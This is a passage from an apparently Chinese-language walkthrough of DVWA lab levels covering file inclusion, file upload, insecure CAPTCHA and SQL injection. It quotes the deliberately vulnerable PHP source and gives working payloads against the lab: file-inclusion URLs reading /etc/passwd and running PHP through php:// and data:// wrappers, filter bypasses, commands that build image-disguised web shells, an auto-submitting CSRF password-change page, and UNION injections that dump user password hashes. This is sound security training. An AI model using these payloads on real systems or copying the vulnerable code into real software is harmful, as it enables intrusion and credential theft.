if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

在impossible难度下,不仅加入了token验证,而且需要用户输入当前密码才能修改密码,攻击者在不知道当前密码的情况下就无法进行CSRF攻击,另外常见的防护方法还有加验证码来防护。

File Inclusion 文件包含

Low

1
2
3
4
5
6
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

low难度下对用get方法传递的page参数没有做任何过滤,因此可以直接构造page参数进行攻击:

1、文件读取

1
http://127.0.0.1/vulnerabilities/fi/?page=/etc/passwd

image-20210224154327894

2、远程文件包含

1
http://127.0.0.1/vulnerabilities/fi/?page=http://www.baidu.com/robots.txt

image-20210224154307629

3、本地文件包含 getshell

首先新建一个 info.txt 文件,内容如下

1
<?php phpinfo(); ?>

在文件上传漏洞处上传 info.txt:这里直接给出了上传的目录

image-20210224153829254

然后直接构造URL

1
http://127.0.0.1/vulnerabilities/fi/?page=../../hackable/uploads/info.txt

image-20210224154219905

4、远程文件包含 getshell

同样我们可以把 info.txt文件上传到服务器上,构造URL

1
http://127.0.0.1/vulnerabilities/fi/?page=http://127.0.01:81/dvwa/info.txt

试了在phpstudy上搭建的服务器好像没用,原因不明;之后在虚拟机ubuntu上使用有效

image-20210224161842321

5、伪协议

  • php://filter 文件读取
1
2
/fi/?page=php://filter/read=convert.base64-encode/resource=index.php
/fi/?page=php://filter/convert.base64-encode/resource=index.php

此时会拿到 base64 加密的字符串,解密的话就可以拿到 index.php 的源码

  • php://input getshell

POST 内容可以直接写 shell ,内容如下:

1
<?php fputs(fopen('info.php','w'),'<?php phpinfo();?>')?>

image-20210224164951951

然后会在当前目录下写入一个木马,直接访问看看:

1
http://127.0.0.1/vulnerabilities/fi/info.php

无法实现,原因不明

  • data:// 伪协议

数据封装器,和 php:// 相似,可以直接执行任意 PHP 代码:

1
2
/fi/?page=data:text/plain,<?php phpinfo();?>
/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOz8%2b

image-20210224165552686

Medium

1
2
3
4
5
6
7
8
9
10
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

medium难度下把传进来的page参数中的http://, https://, ../, .." 全部替换为空字符,以下为绕过方法:

1、远程文件包含

  • 双写绕过
1
/fi/?page=htthttp://p://127.0.01:81/dvwa/info.txt

image-20210224170947403

  • 大小写绕过
1
/fi/?page=HTTP://127.0.01:81/dvwa/info.txt

image-20210224171432419

2、本地文件包含

  • 双写绕过
1
/fi/?page=..././..././..././..././..././..././..././..././etc/passwd

image-20210224172210696

  • 假如知道绝对路径的话就无需绕过
1
/fi/?page=/etc/passwd

High

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

high难度要求page参数必须要字符串 file 开头,或者是 include.php ,否则就退出

这里我们只能使用 file:// 伪协议来绕过

1
/fi/?page=file:///etc/passwd

image-20210224172903594

Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

impossible难度直接使用白名单的方法,无解

File Upload 文件上传

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

?>
1
basename ( string `$path` , string `$suffix` = ? ) : string

给出一个包含有指向一个文件的全路径的字符串,本函数返回基本的文件名。

1
$_FILES['uploaded']['name']

客户端机器文件的原名称。uploaded是文件上传的字段名称

image-20210224194617108

1
$_FILES['uploaded']['tmp_name']

文件被上传后在服务端储存的临时文件名。

1
move_uploaded_file ( string $filename , string $destination ) : bool

本函数检查并确保由 filename 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 destination 指定的文件。

在low难度下,对所上传的文件不做任何检查就保存在服务器中,并返回保存路径。我们可以直接构造一个 info.php 文件,内容如下:

1
<?php phpinfo(); ?>

image-20210224195057747

上传后直接访问保存路径即可。

1
http://127.0.0.1/vulnerabilities/upload/../../hackable/uploads/info.php

image-20210224195156612

Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

medium难度多了一个文件类型Content-Type和大小的检测,要求上传文件的类型是jpeg或者png的图像格式而且大小小于100000才能保存到服务器中,这里有2种绕过方法:

1、抓包修改 Content-Type

image-20210224201247336

抓包,把 Content-Type 修改为 image/ipeg 类型,然后执行即可

image-20210224201443348

2、文件包含

把文件名修改为 info.png 然后上传发现上传成功,但是直接输入URL却被解析为了图片,我们需要文件解析为php。

image-20210224202309534

这时候可以利用文件包含漏洞,他会把包含的文件解析为php,构造URL

1
http://127.0.0.1/vulnerabilities/fi/?page=htthttp://p://127.0.0.1/hackable/uploads/info.png

image-20210224202300258

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>
1
strrpos ( string `$haystack` , string `$needle` , int `$offset` = 0 ) : int

返回字符串 haystackneedle 最后一次出现的数字位置。

1
substr ( string `$string` , int `$start` , int `$length` = ? ) : string

返回字符串 stringstartlength 参数指定的子字符串。

1
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);

这行代码的意思是利用strrpos()函数查找.出现在$uploaded_name的位置然后加1,再利用substr()函数从变量$uploaded_name的指定位置截取部分字符串。所以这段代码的作用就是为了截取上传文件的后缀名

**strtolower()**:该函数的作用是把字符串变成小写的形式。防止大小写绕过

getimagesize() :该函数会读取文件头取得图像的类型、大小等信息,当文件头不是图像的格式时,就会返回FALSE。因此之前的使用改文件后缀的方式在这里行不通。

1、增加文件头+文件包含

我们可以在 info.jpg 文件增加文件头标识的方式绕过,如:

image-20210224203944380

上传成功后,利用文件包含漏洞即可

1
http://127.0.0.1/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/info.png

image-20210224205738328

2、制作图马+文件包含

  • window
1
copy sxc.gif/b+info.php/a info.png
  • linux
1
2
3
4
5
6
7
8
# 将 shell.php 内容追加到 pic.png
cat shell.php >> pic.png

# png + php 合成 png 图马
cat pic.png shell.php >> shell.png

# 直接 echo 追加
echo '<?php phpinfo();?>' >> pic.png

上传图片,然后利用文件包含漏洞访问URL

1
http://127.0.0.1/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/info.png

image-20210224210816001

Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}

// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

**sys_get_temp_dir()**:返回 PHP 储存临时文件的默认目录的路径。

**ini_get ( string $varname )**:成功时返回配置选项的值。

imagecreatefromjpeg() :返回一图像标识符,代表了从给定的文件名取得的图像。

**imagejpeg()**: 从 image 图像以 filename 为文件名创建一个 JPEG 图像。

imagedestroy() :销毁一图像,释放与 image 关联的内存。

**getcwd()**:取得当前工作目录。

impossible难度下,加如了token验证,同时使用时间戳的 md5 值作为文件名对文件名进行重命名,检查文件是否是图像,是的话然后重新生成图像,并生成保存路径,否则删除图像,完成后再删除临时文件。

Insecure CAPTCHA 不安全的验证码

reCAPTCHA验证流程

这一模块的验证码使用的是Google提供reCAPTCHA服务,下图是验证的具体流程。

1.png

服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。

1
recaptcha_check_answer($privkey,$remoteip, $challenge,$response)

参数$privkey是服务器申请的private key ,$remoteip是用户的ip,$challenge 是recaptcha_challenge_field 字段的值,来自前端页面 ,$response是 recaptcha_response_field 字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse 类有2个属性 :

$is_valid是布尔型的,表示校验是否有效,

$error是返回的错误代码。

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,服务器将改密操作分成了两步,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是,这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。

我们通过截包改包,把step的值改为2,那么就直接绕过了验证码的步骤,进入修改密码的步骤

image-20210227112202058

image-20210227112234158

由于没有防止CSRF的措施,我们可以轻松构造攻击页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>      

<body onload="document.getElementById('transfer').submit()">

<div>

<form method="POST" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/">

<input type="hidden" name="password_new" value="password">

<input type="hidden" name="password_conf" value="password">

<input type="hidden" name="step" value="2" >

<input type="hidden" name="Change" value="Change">

</form>

</div>

</body>

</html>

当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。

Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

medium难度下,在第一步验证验证码是否正确的时候加多了一个参数passed_captcha,当验证成功的时候就把该值置为true,而在第二部修改密码的时候会检查passed_captcha的值是否存在,存在就进行修改,否则就退出。

既然它多了一个参数,那我我们在截包改包的时候把这个参数加上即可。同样地,这个也能进行CSRF攻击,只需在表单中加上<input type="hidden" name="passed_captcha" value="true"> 即可。

image-20210227113052253

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for user
echo "<pre>Password Changed.</pre>";

} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}

} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

high难度下密码的修改不再分2步了,直接在验证码验证成功之后就进行密码的修改,同时加入了token来防止CSRF攻击,但是验证码的验证部分与之前的有点不一样,验证成功的方式多了一个,就是g-recaptcha-response参数的值为hidd3n_valu3而且HTTP_USER_AGENT的值是reCAPTCHA的时候也算验证成功,这不就明摆着让攻击者有可乘之机嘛,同样进行截包改包。

image-20210227115157759

然后我想起了是否能够通过用JS发起CSRF请求来修改密码,但是由于user-agent的值只有在老版本的IE浏览器中才能被修改,于是无法被伪造,这个方法行不通。

Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php

if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );

$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the end user - success!
echo "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

impossible难度首先加入token并且需要输入当前的密码进行身份确认,以此防止CSRF攻击,同时还使用了数据库查询语句预编译来防止SQL注入,然后就是在high级别的基础上去掉了容易被绕过的验证条件,做到了万无一失。

SQL Injection SQL注入

这张图是数据库的基本结构,information_schema包含了所有表、字段、用户等的名称,因此我们要利用information_schema库进行查询。

img

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

low等级下对读取到的id参数不做任何过滤检查就直接用于数据库的读取,因此可以直接走SQL注入的流程:

1、判断是否存在注入,时字符型还是数字型

输入1,查询成功

image-20210225093534335

输入 1' and '1' = '2 ,查询失败,返回结果为空

输入 1' or '2' = '2 ,查询成功,说明存在字符型注入

2、判断SQL查询的字段数

输入 1' order by 数字# 来判断查询了多少个字段,

当输入的数字为3时报错,证明查询了2个字段

image-20210225094528354

3、确定显示的字段顺序

输入 1' union select 1,2# ,可以看到First name显示1,Surname显示2

image-20210225095045708

4、获取当前数据库

输入 1' union select 1,database()# ,能够获取当前数据库的名字为dvwa

image-20210225095309820

5、获取数据库中的表名

1
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

image-20210225095549667

看到该数据库下有2张表,分别为gustbook和users

6、获取表中的字段名

1
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

image-20210225095709155

看出users表有user_id,first_name,last_name,user,password,avatar,last_login,failed_login这些字段

7、查看字段中的内容

1
' union select group_concat(user_id,'~',first_name,'',last_name),group_concat(password) from users#

image-20210225100250956

Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
